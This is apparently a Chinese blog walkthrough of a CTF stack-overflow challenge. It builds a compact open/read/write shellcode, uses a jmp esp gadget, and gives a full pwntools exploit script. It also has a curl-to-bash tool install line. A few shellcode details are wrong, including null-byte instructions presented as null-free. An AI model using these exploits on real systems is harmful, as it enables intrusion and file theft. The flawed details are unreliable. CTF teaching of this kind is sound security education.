news 2026/8/11 13:51:25

CTF Pwn 062 栈溢出实战:受限缓冲区下的极简 Shellcode 构造与利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Pwn 062 栈溢出实战:受限缓冲区下的极简 Shellcode 构造与利用

1. 项目概述与核心挑战

拿到这道题,第一眼看到“受限缓冲区”和“极简 Shellcode”这两个关键词,就知道这又是一道考验基本功和思维灵活性的经典栈溢出题目。这类题目在CTF的Pwn入门系列中非常常见,它不追求复杂的漏洞链构造,而是聚焦于最本质的问题:当你能写入的缓冲区空间非常有限,甚至存在字符过滤时,如何巧妙地塞入并执行一段能获取Shell的代码。这道pwn 062正是这类问题的典型代表,它模拟了一个非常真实的场景——程序可能只给你预留了十几个字节的溢出空间,传统的、动辄几十字节的execve(“/bin/sh”)Shellcode 根本放不下。这时候,就需要我们化身“代码微雕师”,在方寸之间施展拳脚。

这道题的核心价值在于,它强迫你深入理解Shellcode的本质,而不仅仅是会调用现成的工具生成。你需要明白每一条汇编指令对应什么机器码,这些机器码在作为字符串输入时,是否会因为程序本身的过滤逻辑(比如不能出现\x00空字符,或者必须是可见字符)而失效。同时,你还需要精确计算栈的布局,因为空间实在太宝贵了,多一个字节的偏差都可能导致覆盖不到返回地址,或者破坏了后续栈帧结构导致崩溃。解决这类问题的过程,是对栈溢出利用技术从“会用”到“懂原理”的一次重要跨越。无论是刚接触二进制安全的新手,还是想巩固基础的老手,通过这道题的实战,都能对栈上Shellcode注入的细节有更肌肉记忆般的理解。

2. 环境准备与题目初步分析

2.1 实验环境搭建

工欲善其事,必先利其器。分析Pwn题,一个稳定、高效的Linux环境是基础。我个人习惯使用 Ubuntu 20.04/22.04 LTS 版本,系统纯净,软件包丰富。以下是一些核心工具的安装命令,建议在干净的虚拟机或容器中操作:

# 更新系统并安装基础编译环境和调试工具 sudo apt update && sudo apt upgrade -y sudo apt install -y gcc gdb gdb-multiarch python3 python3-pip git make # 安装pwntools,这是我们的主力攻击框架 pip3 install pwntools # 安装用于检查二进制文件信息的工具 sudo apt install -y file binutils # 安装增强的GDB插件,如peda、gef或pwndbg,这里以gef为例 # 首先安装依赖 sudo apt install -y cmake # 通过一键脚本安装gef (建议在用户目录下执行) bash -c "$(curl -fsSL https://gef.blah.cat/sh)" # 将source ~/.gdbinit-gef.py 添加到你的 ~/.gdbinit 文件中

安装完成后,可以通过checksec命令(pwntools提供)和file命令来快速了解目标程序的安全属性和基本信息,这是分析的第一步。

2.2. 题目信息收集与静态分析

假设我们拿到的题目文件名为pwn062。第一步永远是信息收集。

file pwn062 # 查看文件类型,通常是ELF可执行文件 checksec pwn062 # 检查程序开启的安全保护机制

checksec的结果至关重要。对于这道“栈溢出”基础题,我们预期看到的大概率是:

  • Arch: i386-32-littleamd64-64-little:告诉我们程序是32位还是64位,这直接影响寄存器、函数调用约定和地址长度。
  • RELRO: Partial RELRO:通常对于入门题,RELRO保护级别不会太高。
  • Stack: No canary found这是关键!没有栈金丝雀(Canary)意味着我们可以直接溢出覆盖返回地址,而不需要先泄露或绕过Canary。
  • NX: NX disabled这是另一个关键!NX(不可执行)保护被禁用。这意味着栈上的数据(即我们注入的Shellcode)可以被当作指令来执行。如果NX开启,我们就需要转向ROP等不需要执行栈上代码的技术。
  • PIE: PIE disabled:PIE(地址空间布局随机化)被禁用。这意味着程序的加载基地址是固定的,我们可以在静态分析时直接使用像0x8048000这样的硬编码地址,而不需要先泄露地址。

注意:实际做题时,一定要先确认这些保护机制。如果题目开启了NX,那么本题目“Shellcode注入”的前提就不成立,解题思路将完全不同。本题的设定是基于NX关闭的。

接下来,使用反汇编工具进行静态分析。objdump是系统自带的利器:

objdump -d pwn062 -M intel > disassembly.txt # 反汇编并保存,-M intel 指定Intel语法(个人偏好)

或者使用radare2GhidraIDA Pro等更强大的图形化/交互式工具。我们的目标是找到那个存在溢出漏洞的函数。通常,在main函数中会调用一个危险的函数,比如getsscanf(“%s”)strcpy等。

通过快速浏览反汇编代码或使用rabin2 -zz pwn062查找字符串,我们可能会发现程序使用了readfgets等函数,但关键在于其读取的长度是否大于目标缓冲区的长度。题目描述中的“受限缓冲区”暗示了缓冲区大小可能很小,比如只有16或32字节。

假设我们通过分析,找到了一个类似如下的脆弱函数vulnerable_function

push ebp mov ebp, esp sub esp, 0x20 ; 在栈上开辟了0x20(32)字节的空间 lea eax, [ebp-0x10] ; 将缓冲区地址(ebp-0x10)加载到eax,缓冲区大小可能只有16字节 push eax call gets ; 使用不安全的gets函数,可以读取任意长度,直到换行符或EOF add esp, 4 leave ret

这里就存在一个典型的栈溢出:getsebp-0x10(16字节缓冲区)写入数据,但不会检查长度。如果我们输入超过16字节的数据,就会覆盖栈上ebp保存的帧指针和函数的返回地址。

2.3. 动态调试与栈布局确认

静态分析给出了怀疑,动态调试则是验证和精确测量的过程。使用gdb启动程序:

gdb -q ./pwn062

在gdb中,我们可以在vulnerable_functiongets调用前后设置断点。

(gdb) break *vulnerable_function+25 # 假设call gets指令的地址 (gdb) break *vulnerable_function+30 # gets返回后的地址 (gdb) run

当程序在第一个断点停下时,我们可以查看栈布局:

(gdb) x/20wx $esp

这条命令会显示从当前栈顶开始的20个32位字(word)的内存内容。我们需要找到:

  1. 我们输入的缓冲区的起始地址(比如0xffffd580)。
  2. 保存的ebp的地址(通常在缓冲区上方)。
  3. 返回地址的位置(在保存的ebp上方4字节处,32位程序)。

一个典型的栈帧布局如下(从高地址到低地址生长):

高地址 ... 其他栈帧 ... 返回地址 (Return Address) <- 我们要覆盖的目标 保存的ebp (Saved EBP) <- 溢出时也会被覆盖 局部变量2 局部变量1 (缓冲区 char buf[16]) <- 我们输入的起点 ... 可能还有其他局部变量 ... 低地址

通过计算返回地址的地址 - 缓冲区的起始地址,我们就能得到精确的偏移量(Offset)。这个偏移量告诉我们,在输入多少个字节后,接下来的4个字节(32位)就会覆盖到返回地址。

实操心得:在gdb中,你可以使用pattern createpattern offset来自动化这个过程。pwntools也提供了cyclic()cyclic_find()函数,这是更常用的方法。先生成一段唯一的长字符串作为输入,程序崩溃后查看覆盖返回地址的值,再用工具反查这个值在字符串中的位置,就得到了偏移量。这是Pwn手的必备技能。

3. 核心原理:Shellcode的精简与构造

3.1. Shellcode的本质与约束

Shellcode本质上是一段独立的、位置无关的机器码。当程序的控制流(比如返回地址)被劫持到这段代码的起始地址时,CPU就会开始执行它。在栈溢出中,我们通常将Shellcode放在缓冲区内,然后将返回地址覆盖为缓冲区的起始地址。

然而,题目中的“受限”二字带来了多重约束:

  1. 空间限制:缓冲区本身很小,可能只有16-32字节。传统的/bin/shShellcode(通过系统调用执行execve(“/bin/sh”, 0, 0))在32位环境下通常需要40-50字节,显然放不下。
  2. 字符过滤:程序可能在读入数据后,会对输入内容进行过滤。常见的过滤包括:
    • 截断空字符 (\x00)\x00在C语言中表示字符串结束。如果程序使用strcpystrcatprintf(“%s”)等函数处理我们的输入,\x00之后的 payload 会被截断而失效。因此,Shellcode 本身不能包含\x00字节。
    • 只允许可见字符 (Printable/ASCII):有些题目会检查输入是否全部在可打印ASCII字符范围内(0x20-0x7e)。这要求我们构造的Shellcode的每一个字节都必须对应一个可打印字符,这被称为“字母数字Shellcode (Alphanumeric Shellcode)”或“可见字符Shellcode”,构造难度极大。
    • 过滤特定指令:例如,过滤int 0x80(系统调用中断)或syscall指令的机器码。

本题pwn 062根据标题和常见套路,核心约束很可能是空间限制空字符截断。我们的任务就是构造一段极短且不含\x00的Shellcode。

3.2. 极简Shellcode构造思路

当空间是首要敌人时,我们的目标不再是启动一个完整的交互式shell(/bin/sh),而是执行一个能让我们“读到flag”的最小化操作。在CTF中,这通常意味着:

  1. 执行execve(“/bin/sh”):最通用,但代码较长。
  2. 执行execve(“/bin/cat”, [“cat”, “flag”], NULL):如果知道flag文件名,直接cat出来,代码可能比启动shell更短。
  3. 使用open+read+write(ORW):当不能执行外部程序,或者flag文件名未知需要遍历时,就用系统调用打开文件、读取内容、写到标准输出。这是更底层、更灵活的方式。

对于极简场景,我们优先考虑第2种或第3种。因为execve系统调用需要设置多个参数(文件名指针、参数数组指针、环境变量指针),而open/read/write可以逐个调用,每一步的代码可以更紧凑。

假设我们知道flag文件就是当前目录下的flag。我们来对比一下思路:

  • 思路A:Cat Flag

    • 目标:执行execve(“/bin/cat”, [“cat”, “flag”], NULL)
    • 挑战:需要构造字符串”/bin/cat””flag”,并设置好参数数组,代码量依然可观。
  • 思路B:ORW链

    • 目标:依次执行open(“flag”, O_RDONLY)->read(fd, buf, size)->write(1, buf, size)
    • 优势:每一步只需要处理少数几个参数,可以利用寄存器传递,代码可以写得非常精简。特别是,我们可以将字符串”flag”巧妙地通过栈操作(如push)来构造,避免在Shellcode中直接包含字符串常量(那样会引入很多字节)。

对于本题,我们选择思路B:ORW链,因为它最具代表性,且能压缩到极小的体积。下面我们来手搓一段32位Linux下的极简ORW Shellcode。

3.3. 手搓不含空字节的ORW Shellcode

我们使用汇编来编写,并确保生成的机器码没有\x00。首先,回顾一下32位Linux系统调用约定:系统调用号放在eax,参数依次放在ebx,ecx,edx,esi,edi

  1. 打开文件open(“flag”, O_RDONLY)

    • 系统调用号:open5
    • 参数1 (ebx):文件名字符串地址。我们需要把字符串”flag”压入栈,然后将栈指针esp赋给ebx
    • 参数2 (ecx):打开标志,O_RDONLY0
    • 参数3 (edx):模式,通常忽略,设为0
    • 难点:如何在不引入\x00的情况下将”flag”入栈?字符串”flag”的十六进制是0x67616c66。如果直接push 0x67616c66,指令是\x68\x66\x6c\x61\x67,这本身不含\x00。但是,字符串需要以空字符结尾。我们可以通过先将eax清零(xor eax, eax),然后push eax(压入4字节的0),再压入字符串。清零操作xor eax, eax的机器码是\x31\xc0,也不含\x00
  2. 读取文件read(fd, buf, size)

    • 系统调用号:read3
    • 参数1 (ebx):文件描述符fd。open成功后会返回fd在eax中,我们需要将其保存到ebx
    • 参数2 (ecx):缓冲区地址。我们可以选择一个固定的、可写的地址,比如0x804a000(如果.bss段可写且地址已知),或者更通用地,直接使用栈上的一个地址(比如esp指向的某个位置)。使用栈地址需要小心计算,避免破坏正在执行的Shellcode。
    • 参数3 (edx):要读取的字节数,比如0x100(256字节)。
  3. 写入标准输出write(1, buf, size)

    • 系统调用号:write4
    • 参数1 (ebx):文件描述符,1 表示标准输出。
    • 参数2 (ecx):缓冲区地址(同readecx)。
    • 参数3 (edx):写入的字节数(同readedx)。

下面是一段精心构造的、不含\x00的32位ORW Shellcode示例。我们假设将flag内容读到一个固定的.bss段地址0x804a000,以简化栈操作:

; 假设 .bss 段地址 0x804a000 可写 ; 这段Shellcode的目标是:open(“flag”)->read(fd, 0x804a000, 0x100)->write(1, 0x804a000, 0x100) section .text global _start _start: ; 1. open(“flag”, O_RDONLY) xor eax, eax ; eax = 0 push eax ; 字符串结尾的 \x00 push 0x67616c66 ; 压入 “flag” 字符串的十六进制表示 (小端序: ‘f’, ‘l’, ‘a’, ‘g’) mov ebx, esp ; ebx 指向栈上的字符串 “flag\x00” xor ecx, ecx ; ecx = 0 (O_RDONLY) xor edx, edx ; edx = 0 (mode) mov al, 5 ; syscall number for open (5). 使用 al 避免高位引入00 int 0x80 ; 触发系统调用,返回值(fd)在 eax ; 2. read(fd, buf, 0x100) mov ebx, eax ; 将 open 返回的 fd 保存到 ebx mov ecx, 0x804a000 ; 目标缓冲区地址 (假设已知且可写) mov dl, 0x100 ; 读取长度 0x100,使用 dl 避免高位引入00 xor eax, eax ; eax = 0 mov al, 3 ; syscall number for read (3) int 0x80 ; 3. write(1, buf, 0x100) mov ebx, 1 ; 文件描述符 1 (stdout) ; ecx 仍然是缓冲区地址 0x804a000 ; edx 仍然是长度 0x100 mov al, 4 ; syscall number for write (4) int 0x80 ; 4. 退出 (可选,避免崩溃) xor eax, eax mov al, 1 ; syscall number for exit (1) xor ebx, ebx ; exit code 0 int 0x80

使用nasm汇编并提取机器码:

nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode objdump -d shellcode -M intel

objdump的输出中,复制_start段下的机器码(类似\x31\xc0\x50\x68\x66\x6c\x61\x67...)。关键一步:检查这段机器码中是否包含\x00字节。可以使用xxdhexdump

objcopy -O binary -j .text shellcode.o shellcode.bin hexdump -C shellcode.bin

如果发现00,就需要调整汇编指令。例如,mov eax, 5的机器码是\xb8\x05\x00\x00\x00,包含了三个\x00。所以我们改用mov al, 5\xb0\x05),只设置低8位,高位由之前的xor eax, eax保证为0。同理,设置edx0x100时,使用mov dl, 0x100可能会因为0x100超过8位而编译成包含\x00的指令,更安全的做法是分步操作,或者使用mov dx, 0x100(注意机器码是否含00)。

经过反复调整和测试,最终我们可以得到一段长度可能在30-40字节左右、不含\x00的纯机器码。这就能满足“受限缓冲区”的要求。

注意事项:在实际解题中,.bss段的地址0x804a000需要根据实际二进制文件确定。如果题目没有合适的固定可写地址,我们就需要将内容读到栈上。这时,计算栈地址的偏移会变得棘手,因为栈地址在每次运行时可能因环境变量等因素略有变化(ASLR关闭时主线程栈基址固定,但偏移仍需精确计算)。一个更稳健的方法是使用jmp espcall esp等指令(如果程序存在这样的gadget),将执行流跳到栈上,然后Shellcode的第一条指令再调整栈指针,为读入的数据预留空间。这涉及更高级的栈迁移(Stack Pivot)技术,在本基础题中可能不是必须的。

4. 完整利用链构建与Exploit编写

4.1. 计算精确偏移与确定返回地址

有了Shellcode,我们还需要知道把它放在哪里,以及把返回地址覆盖成什么。这需要精确的偏移量。

使用pwntools的cyclic功能可以自动化这个过程:

from pwn import * context(arch=‘i386‘, os=‘linux‘) # 根据题目设置上下文 p = process(‘./pwn062‘) # 本地测试 # 发送一个长字符串,覆盖返回地址 payload = cyclic(200) # 生成200个字符的pattern p.sendline(payload) p.wait() # 等待程序崩溃 # 从core dump中获取崩溃时eip的值 core = p.corefile eip_value = core.eip offset = cyclic_find(eip_value) # 查找该值在pattern中的位置 log.info(f“Offset to EIP: {offset}“)

假设我们得到的偏移量是24。这意味着,在我们输入的数据中,前24个字节会填满缓冲区并覆盖到保存的ebp,第25-28个字节(接下来的4字节)就会覆盖到返回地址。

接下来,我们需要决定Shellcode的放置位置和返回地址的值。

  • 方案A:Shellcode在缓冲区开头,返回地址指向缓冲区开头。
    • Payload结构:[Shellcode (N字节)] + [‘A‘ * (offset - N)] + [buf_addr]
    • 其中buf_addr是缓冲区起始地址。我们需要在调试中获取这个地址,例如0xffffd580。由于PIE未开启,这个地址在本地运行和远程连接时通常是固定的(除非远程有ASLR,但Pwn题服务器常关闭ASLR)。如果地址不确定,可能需要暴力猜测或信息泄露。
  • 方案B:Shellcode在缓冲区之后,返回地址指向一个jmp esp指令地址。
    • 这种方案适用于缓冲区空间实在太小,连极简Shellcode都放不下的情况。我们可以在覆盖返回地址后,在更高的栈地址(即返回地址之后)布置Shellcode。然后让返回地址指向一条jmp espcall esp的指令(在程序或libc中寻找)。当函数返回时,会跳转到jmp esp,这条指令接着跳转到esp当前指向的地址,而esp此时正好指向返回地址之后的位置,也就是我们后续Shellcode的起始处。这需要程序中有这样的gadget。

对于本题,假设缓冲区有32字节,我们的Shellcode经优化后为36字节,刚好比缓冲区大一点。我们可以采用方案B,或者利用nop sled\x90指令,无操作)填充缓冲区,将Shellcode放在偏移量之后,但这样需要更大的空间。更常见的做法是,既然缓冲区“受限”,我们就将Shellcode全部放在偏移量之后,即填充完偏移量后,紧接着就是Shellcode,然后让返回地址指向一个jmp espgadget。这样,Shellcode本身不占用缓冲区的“名额”。

4.2. 寻找JMP ESP Gadget

我们可以使用ROPgadgetobjdump配合grep在二进制文件中搜索:

ROPgadget --binary ./pwn062 | grep “jmp esp“ # 或者 objdump -d ./pwn062 | grep “ff e4“ # “jmp esp“ 的机器码是 ff e4

如果程序本身没有,我们还可以在加载的libc库中找。但前提是libc的基地址需要泄露,这增加了复杂度。假设我们在程序中找到了jmp esp的地址:0x0804842a

4.3. 编写完整的Exploit脚本

结合以上所有信息,我们可以编写最终的利用脚本。这里我们采用Shellcode放在返回地址之后,用JMP ESP跳转的方案。

#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和运行方式 context(arch=‘i386‘, os=‘linux‘) # context.log_level = ‘debug‘ # 调试时开启,显示详细通信 # 启动程序 # p = process(‘./pwn062‘) # 本地测试 p = remote(‘pwn.challenge.ctf.show‘, 12345) # 远程连接,端口需替换 # 1. 计算出的偏移量 offset = 24 # 2. 精心构造的不含 \x00 的 ORW Shellcode (示例,需根据实际调整) # 这个Shellcode假设 flag 字符串在栈上构造,并读到栈上某个位置然后写出。 # 实际构造可能需要根据题目环境调整地址。 shellcode = asm(‘‘‘ /* open(“flag“, O_RDONLY) */ xor eax, eax push eax /* 字符串终止符 \x00 */ push 0x67616c66 /* “flag“ */ mov ebx, esp /* ebx 指向 “flag\x00“ */ xor ecx, ecx /* O_RDONLY = 0 */ xor edx, edx /* mode = 0 */ mov al, 5 /* SYS_open */ int 0x80 /* read(fd, buf, 0x100) */ mov ebx, eax /* fd from open */ mov ecx, esp /* 读到哪里?我们可以利用栈上方空间。这里假设 esp+0x200 是安全区域 */ add ecx, 0x200 /* 调整 ecx 到一个更高的栈地址,避免覆盖自身 */ mov dl, 0xff /* 读取长度,0xff 足够大且不含00 */ xor eax, eax mov al, 3 /* SYS_read */ int 0x80 /* write(1, buf, len) */ mov ebx, 1 /* stdout */ /* ecx 已经是缓冲区地址 */ /* edx 已经是读取的字节数 (read返回值在eax,但这里我们假设成功读取了0xff字节,简化处理) */ mov dl, 0xff /* 写入长度,同样用 0xff */ mov al, 4 /* SYS_write */ int 0x80 /* exit(0) */ xor eax, eax mov al, 1 xor ebx, ebx int 0x80 ‘‘‘) # 检查Shellcode长度和是否含坏字符 print(f“Shellcode length: {len(shellcode)}“) if b‘\x00‘ in shellcode: print(“WARNING: Shellcode contains null bytes!“) print(hexdump(shellcode)) # 3. 找到的 jmp esp gadget 地址 jmp_esp_addr = 0x0804842a # 示例地址,需替换为实际找到的地址 # 4. 构建Payload # 第一部分:填充到返回地址 payload = b‘A‘ * offset # 第二部分:覆盖返回地址为 jmp_esp_addr payload += p32(jmp_esp_addr) # 第三部分:在返回地址之后,放置我们的Shellcode payload += shellcode # 5. 发送Payload p.sendline(payload) # 6. 接收并打印输出 (期望看到flag内容) # 注意:如果程序是交互式的,可能需要 p.interactive() print(p.recvall().decode()) p.close()

4.4. 利用脚本的测试与调试

在本地测试时,可以先创建一个名为flag的测试文件。

echo “CTFshow{test_flag}“ > flag

然后运行脚本。如果程序崩溃或没有输出预期内容,就需要调试。

  • 使用GDB附加调试

    gdb -q ./pwn062 (gdb) run < <(python3 exploit.py)

    或者在脚本中process()时加上gdbscript参数,让pwntools自动附加gdb并下断点。

  • 查看崩溃点:如果崩溃在jmp esp之后,可能是Shellcode本身有问题,或者栈地址计算不准。可以在jmp esp处下断点,单步跟踪,观察寄存器和栈的状态。

  • 调整Shellcode:最可能的问题是Shellcode中的地址假设不成立。例如,add ecx, 0x200可能加得不够多,导致读操作覆盖了正在执行的Shellcode。或者,栈的布局与预期不符。这时需要动态调试,观察esp的值,并相应调整Shellcode中的偏移。

实操心得:在构造这种紧耦合栈布局的Shellcode时,一个技巧是在Shellcode开头插入大量的nop指令 (\x90),形成一个“滑板”。这样,只要返回地址跳转到这个滑板区的任何位置,都会滑行到真正的Shellcode代码。这可以降低对跳转地址精确度的要求。但要注意,nop指令\x90在某些字符过滤题中可能不被允许。

5. 常见问题与高级技巧

5.1. Shellcode执行失败的可能原因

  1. 地址错误:返回地址或jmp espgadget地址不正确。确保使用正确的地址,并注意小端序。在远程环境中,地址可能与本地不同,需要根据提示或通过信息泄露获取。
  2. 坏字符问题:除了\x00,程序可能还过滤了其他字符,如\x0a(换行)、\x0d(回车)、\x20(空格)等。如果发送的Payload中包含这些字符,输入可能会被提前截断或修改。需要用其他指令替代产生坏字符的机器码。
  3. 栈不可执行 (NX Enabled):这是最容易被忽略的一点。如果题目实际开启了NX,我们的所有努力都将白费。务必反复确认checksec结果。如果NX开启,则需要转向ROP技术,利用程序本身的代码片段 (gadgets) 来拼接出open/read/write的系统调用链。
  4. 地址空间随机化 (ASLR):如果远程服务器开启了ASLR,栈地址和libc地址每次都会变。对于栈地址,如果缓冲区在栈上,我们需要通过信息泄露来获取一个实时的栈地址。对于libc中的gadget,需要先泄露libc的基地址。
  5. Shellcode自身错误:汇编指令写错、系统调用号不对、参数传递错误。务必在本地用strace跟踪系统调用,或在gdb中单步执行Shellcode,观察每个系统调用前后的寄存器状态。

5.2. 应对更严格的字符过滤

如果题目要求Shellcode全部由可见字符组成,构造难度会指数级上升。这时需要用到“编码器(Encoder)”技术。基本思路是:

  1. 写一段符合可见字符约束的“解码器(Decoder)”。这段代码本身也是Shellcode,它的功能是从某个位置(可能是栈上另一个区域)读取被编码的、原始的非可见字符Shellcode,然后解码并执行。
  2. 原始的、功能强大的Shellcode(通常包含不可见字符)被编码成一段纯可见字符的字符串。
  3. Payload结构为:[可见字符解码器] + [填充] + [返回地址指向解码器] + [编码后的Shellcode]
  4. 解码器执行后,会还原并跳转到原始Shellcode。

常用的编码方式有xor编码、add/sub编码等。alpha3msfvenom-e x86/alpha_mixed编码器可以自动生成这类Shellcode,但理解其原理对于解决变种题目至关重要。

5.3. 利用文件描述符重用

在ORW链中,我们默认open返回的文件描述符是3(因为0,1,2通常被stdin, stdout, stderr占用)。但在某些极端情况下,程序可能之前已经打开或关闭了一些文件,导致fd不是3。更稳健的做法是,将open返回的fd保存到一个寄存器后,直接传递给read,就像我们示例中做的 (mov ebx, eax),而不是硬编码一个fd值。

5.4. 获取Shell与稳定交互

本题要求是“读flag”,所以ORW输出到标准输出即可。但如果目标是获取一个完整的shell,在空间极度受限的情况下,可以尝试用dup2系统调用将socket的文件描述符复制到0,1,2,然后执行execve(“/bin/sh”)。或者,可以分阶段注入:第一段极简Shellcode用于读入第二段更长的、功能完整的Shellcode到可执行内存区域,然后跳转执行。这被称为“二阶攻击”。

最后,在真实的CTF比赛或渗透测试中,成功执行Shellcode后,我们往往希望获得一个稳定的反向shell或交互式shell。使用pwntools的p.interactive()可以很好地与本地进程交互,但对于远程,如果只是执行了cat flag,接收输出即可。如果执行了/bin/sh,则需要用p.sendline()发送命令,用p.recv()接收结果,或者直接使用p.interactive()进入一个类终端的环境。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/11 13:50:44

面向LLM编程:四大核心统计组件与工程实践指南

1. 这篇文章真正要解决的问题如果你正在尝试将大语言模型&#xff08;LLM&#xff09;集成到你的应用或产品中&#xff0c;你很可能已经发现了一个巨大的认知鸿沟&#xff1a;一边是令人眼花缭乱的“智能涌现”和“上下文学习”等概念&#xff0c;另一边却是写代码时无从下手的…

作者头像 李华
网站建设 2026/8/11 13:50:32

终端在AI开发中的高效应用与配置指南

1. 为什么终端是AI开发的绝佳工作台&#xff1f; 十年前我刚入行时&#xff0c;开发环境还是清一色的图形界面IDE。直到在Linux服务器上调试第一个神经网络模型时&#xff0c;才真正体会到终端的威力。如今在AI开发领域&#xff0c;终端已不仅是输入命令的黑框&#xff0c;而是…

作者头像 李华
网站建设 2026/8/11 13:49:43

终极免费IDM激活脚本完整指南:30天试用期永久锁定方案

终极免费IDM激活脚本完整指南&#xff1a;30天试用期永久锁定方案 【免费下载链接】IDM-Activation-Script IDM Activation & Trail Reset Script 项目地址: https://gitcode.com/gh_mirrors/id/IDM-Activation-Script Internet Download Manager&#xff08;IDM&am…

作者头像 李华
网站建设 2026/8/11 13:49:23

ViVeTool GUI终极指南:Windows隐藏功能图形化管理工具深度解析

ViVeTool GUI终极指南&#xff1a;Windows隐藏功能图形化管理工具深度解析 【免费下载链接】ViVeTool-GUI Windows Feature Control GUI based on ViVe / ViVeTool 项目地址: https://gitcode.com/gh_mirrors/vi/ViVeTool-GUI ViVeTool GUI是一款基于ViVeTool开发的Wind…

作者头像 李华
网站建设 2026/8/11 13:49:16

FanControl深度解析:Windows风扇控制软件的高效配置与实战技巧

FanControl深度解析&#xff1a;Windows风扇控制软件的高效配置与实战技巧 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Tre…

作者头像 李华
网站建设 2026/8/11 13:47:51

追赶33名:数学建模与算法优化实战解析

1. 项目背景解析 "追赶33名"这个看似简单的数字游戏背后&#xff0c;实际上蕴含着丰富的数学原理和策略思维。我第一次接触这个概念是在一次全国性的数学建模竞赛中&#xff0c;当时我们团队需要设计一个最优化的追赶策略模型。这个题目要求参与者在有限步数内&#…

作者头像 李华